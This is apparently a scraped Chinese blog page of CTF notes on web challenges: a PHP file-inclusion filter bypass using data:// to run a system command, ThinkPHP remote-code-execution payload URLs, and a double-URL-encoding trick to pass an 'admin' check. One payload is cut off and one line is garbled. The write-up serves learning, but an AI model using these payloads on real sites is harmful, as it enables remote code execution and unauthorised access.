当前位置:网站首页>ctf 记录
ctf 记录
2022-07-02 09:32:00 【freshfox】
源码审计
文件包含:
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>
1. php://input + post 数据 php 代码。

2. ?page=data://text/plain,<?php system("cat fl4gisisish3r3.php")?>
thinkphp rce 漏洞在利用的时候注意payload
漏洞利用:
payload:
查看phpinfo:
http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
1
查看敏感文件:
http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_
<?php
if("admin"===$_GET[id]) {
echo("<p>not allowed!</p>");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
echo "<p>Access granted!</p>";
echo "<p>Key: xxxxxxx </p>";
}
?>
Can you anthenticate to this website?
第一步,要使得"admin"===$_GET[id]不成立
我们可以对admin进行url编码,当然也可以对其中一个字母编码我们这里对a进行编码:%61dmin
第一次实际比较if("admin"==="%61dmin") 不成立
1
第二步,经过G E T [ i d ] = u r l d e c o d e ( _GET[id] = urldecode(
G
ET[id]=urldecode(_GET[id]);,使得$_GET[id] == "admin"成立。
经过urldecode解码后变成admin
第二次实际比较if("admin" == "admin"); 成立
1
**注意:**当传入参数id时,浏览器在后面会对非ASCII码的字符进行一次urlencode编码,运行时会自动进行一次urldecode
因为我们在url连接里直接运行,浏览器会进行一次url解码,所以我们还要进行一次url编码,就是对admin进行两次编码再运行
urldecode(%2561)=%61
urldecode(%61)=a
边栏推荐
- flink二開,實現了個 batch lookup join(附源碼)
- STM32单片机编程学习
- How to use ide to automatically sign and debug Hongmeng application
- TIPC messaging3
- III Chip startup and clock system
- 二叉树专题--【深基16.例7】普通二叉树(简化版)(multiset 求前驱 后继 哨兵法)
- TIPC addressing 2
- I STM32 development environment, keil5/mdk5.14 installation tutorial (with download link)
- 快应用中实现自定义抽屉组件
- 金山云——2023届暑期实习
猜你喜欢

Hdu1236 ranking (structure Sorting)

PKG package manager usage instance in FreeBSD

二叉树专题--AcWing 3540. 二叉搜索树建树(实用板子 构建二叉搜索树 并输出前、中、后序遍历)

QT学习日记8——资源文件添加

The first white paper on agile practice in Chinese enterprises was released | complete download is attached

Nodejs+express+mysql simple blog building
![[in simple terms, play with FPGA learning 3 ----- basic grammar]](/img/f0/0204fa5197033877dc0758203253ae.png)
[in simple terms, play with FPGA learning 3 ----- basic grammar]

Special topic of binary tree -- acwing 3384 Binary tree traversal (known preorder traversal, while building a tree, while outputting middle order traversal)

华为游戏初始化init失败,返回错误码907135000

Matlab processing of distance measurement of experimental electron microscope
随机推荐
一招快速实现自定义快应用titlebar
Is the account above changtou school safe?
Calculate the sum of sequences
tqdm的多行显示与单行显示
LVM操作
二叉树专题--AcWing 3540. 二叉搜索树建树(实用板子 构建二叉搜索树 并输出前、中、后序遍历)
The most detailed MySQL installation tutorial
Special topic of binary tree -- acwing 47 Path with a certain value in binary tree (preorder traversal)
TIPC introduction 1
sqlite 修改列类型
QT learning diary 8 - resource file addition
【深入浅出玩转FPGA学习3-----基本语法】
Huawei game failed to initialize init with error code 907135000
III Chip startup and clock system
洛谷 P5536 【XR-3】核心城市(贪心 + 树形 dp 寻找树的中心)
P1055 [noip2008 popularization group] ISBN number
Special topic of binary tree -- Logu p1229 traversal problem (the number of traversals in the middle order is calculated when the pre and post order traversals of the multiplication principle are know
[play with FPGA learning 2 in simple terms ----- design skills (basic grammar)]
TIPC协议
One trick to quickly realize custom application titlebar